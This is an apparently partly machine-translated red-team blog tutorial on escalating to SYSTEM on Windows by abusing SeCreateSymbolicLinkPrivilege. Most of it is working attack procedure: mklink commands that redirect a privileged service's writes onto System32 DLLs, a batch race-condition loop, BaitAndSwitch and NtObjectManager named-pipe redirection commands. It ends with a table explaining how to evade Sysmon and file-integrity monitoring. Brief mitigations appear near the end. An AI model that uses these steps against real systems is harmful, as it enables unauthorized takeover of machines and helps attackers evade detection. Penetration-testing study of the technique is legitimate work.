SeCreateSymbolicLinkPrivilege: Symlink Attack on Windows from Shell

From simple user to SYSTEM by replacing system files with a symlink: what you can do with SeCreateSymbolicLinkPrivilege and mklink. Privilege escalation and the Red Team technique.
- Posted on 2026-06-09
- Reading time: 4 min
You have SeCreateSymbolicLinkPrivilege and there's a SYSTEM service writing to a path you control. Replace that path with a symlink to a system file—the SYSTEM service overwrites your target unintentionally. No tools to load, just mklink.
Quick Exploit #
del C:\temp\output.log
mklink C:\temp\output.log C:\Windows\System32\oci.dllWait for the SYSTEM service to write to C:\temp\output.log — overwrites oci.dll with your content.
Attack Chain #
SeCreateSymbolicLinkPrivilege Enabled
→ Process Monitor → filtra WriteFile + SYSTEM + path controllato
→ identifica servizio/task che scrive in C:\temp\
→ del C:\temp\output.log
→ mklink C:\temp\output.log C:\Windows\System32\target.dll
→ aspetta prossima scrittura del servizio → DLL/binary sovrascritta
→ sc stop/start NomeServizio → SYSTEMTool Decision #
| Screenwriting | Approach |
|---|---|
| Slow race condition (installer) | mklink manual in the time window |
| Fast race condition | BaitAndSwitch.exe -target C:\temp\file.txt -dest C:\Windows\System32\oci.dll |
| Named pipe redirect | NtObjectManager PowerShell — New-NtSymbolicLink "\RPC Control\PipeTarget" ... |
What is SeCreateSymbolicLinkPrivilege? #
Without this privilege a normal user can only create directory junctions (mklink /J) but not file-level symlinks. With the privilege, you create symlinks to any target—including protected system files. The attack vector depends on an external condition: a privileged service writing to a path you control.
Note: On Windows 10 1703+ with Developer Mode enabled, anyone can create symlinks without privileges. This is rare on servers, but worth checking.
When it exists #
- Administrators (high token)
- Developers with permissive policies on development machines
- WSL, Hyper-V, Docker Components — require symlinks for mount operations
Verify:
whoami /privLooking for:
SeCreateSymbolicLinkPrivilege Create symbolic links EnabledCheck Developer Mode:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" | Select-Object AllowDevelopmentWithoutDevLicenseTypes of symlinks on Windows #
| Type | Command | Privilege requested |
|---|---|---|
| Symlink file | mklink target source | ✅ Yes |
| Symlink Directory | mklink /D target source | ✅ Yes |
| Junction | mklink /J target source | ❌ No |
| Hard link | mklink /H target source | ❌ No |
The privilege specifically unlocks symlink files — the primary attack vector.
Step 1 — Identify a SYSTEM service that writes to controlled paths #
Usa Process Monitor (Sysinternals): Open procmon, apply filters Operation is WriteFile e User is SYSTEM, then look at the paths it writes to. Look for paths that your account has write permissions to or that don't yet exist.
Alternatively, look for scheduled tasks that write to temporary paths:
schtasks /query /fo LIST /v | findstr /i "SYSTEM\|Task To Run\|Run As User"Step 2 — Place the symlink (race condition TOCTOU) #
The service typically performs the following: check if the file exists → write to the file. In the window between the check and the write, replace the file with a symlink.
Remove the original file:
del C:\temp\output.logCreates symlink to target system file:
mklink C:\temp\output.log C:\Windows\System32\oci.dllThe service writes on C:\temp\output.log → overwrites oci.dll with your content.
Step 3 — Race Condition Automation #
For narrow time windows, use a script that monitors and acts:
Create the file C:\temp\race.bat with this content:
:loop
if exist C:\temp\output.log (
del C:\temp\output.log
mklink C:\temp\output.log C:\Windows\System32\oci.dll
echo [*] Symlink piazzato
goto done
)
goto loop
:doneDo:
C:\temp\race.batFor more precise timing use BaitAndSwitch :
BaitAndSwitch.exe -target C:\temp\writable.txt -dest C:\Windows\System32\oci.dllvariants #
Object namespace symlink — redirects named pipes #
With NtObjectManager (James Forshaw) you can create symlinks in the kernel namespace to redirect named pipes to your own pipe — a variant of Potato attacks for scenarios where SeImpersonatePrivilege is not available.
Install the module:
Install-Module NtObjectManager
Import-Module NtObjectManagerCreate the directory in the namespace and the symlink:
$dir = New-NtDirectory \RPC Control -Win32Path
New-NtSymbolicLink "\RPC Control\PipeTarget" "\Device\NamedPipe\AttackerPipe" -Directory $dirThen start a listener on your named pipe and wait for the privileged process to connect.
Source: googleprojectzero/sandbox-attacksurface-analysis-tools
Real-world scenarios #
Privileged software installer — many MSIs extract files to C:\temp\ as SYSTEM before copying them to the final destination. If you manage to place a symlink in the correct window, the installer copies your DLL/binary to the final location with elevated permissions.
Scheduled task that writes logs — a scheduled task like SYSTEM writes log in C:\temp\tasklog.txtSymlink to a DLL file looked up by a service → overwrite at next task execution.
Common mistakes #
The service uses FILE_FLAG_OPEN_REPARSE_POINT — Opens the symlink itself, not the target. In Process Monitor, see REPARSE in the Result field instead of the resolved path. That service doesn't follow symlinks — it looks for another target.
Race condition too tight for manual timing — Use BaitAndSwitch to automate: BaitAndSwitch.exe -target C:\temp\file.txt -dest C:\Windows\System32\oci.dll.
No SYSTEM service writes to controlled paths — The vector is not viable in that environment. Check with Process Monitor first: filter Operation=WriteFile, User=SYSTEM, Path contains C:\temp or other writable paths.
Developer Mode not available, privilege missing — Developer Mode is almost never enabled on servers. Check with Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" | Select-Object AllowDevelopmentWithoutDevLicense.
Detection and bypass (Red Team view) #
| What the Blue Team detects | How the Red Team bypasses it |
|---|---|
| Sysmon 23 (FileDelete) + 11 (FileCreate) on the same path — pattern TOCTOU | Use a different path for each attempt or increase the delay between delete and mklink |
| Creating a symlink to System32 | Point to less monitored paths — DLLs in services directories instead of System32 |
| FIM to temporary output directory | Use less common staging paths: C:\Users\Public\, C:\ProgramData\Temp\ |
When it fails #
- The service uses
FILE_FLAG_OPEN_REPARSE_POINT→ does not follow symlink - No SYSTEM service writes to controlled paths → vector not viable
- Unwinnable race condition → BaitAndSwitch fails even when automated
Mitigations #
- SYSTEM services should not write to paths accessible to unprivileged users
- Use
FILE_FLAG_OPEN_REPARSE_POINTin services to not follow symlinks automatically - Developer Mode enabled only where strictly necessary
Realistic note: This is the most conditional vector of the series—it requires a specific combination of privilege and vulnerable service. In practice, it is used when all other vectors are blocked.
FAQ #
Is this the most complex vector in the series? Yes—it requires an external condition + race condition. Use it as a last resort when SeRestorePrivilege, SeBackupPrivilege, and the others aren't available.
Is Developer Mode common on servers? No—it's workstation functionality. It's rare on servers, but always check with the command above.
SeCreateSymbolicLinkPrivilege is a conditional vector: useless on its own, powerful when there is a SYSTEM service that writes to paths you control.
Related articles:
- SeRestorePrivilege — direct ACL bypass writing, without external conditions
- SeImpersonatePrivilege — token interception via named pipe
References: NtObjectManager · Microsoft Docs








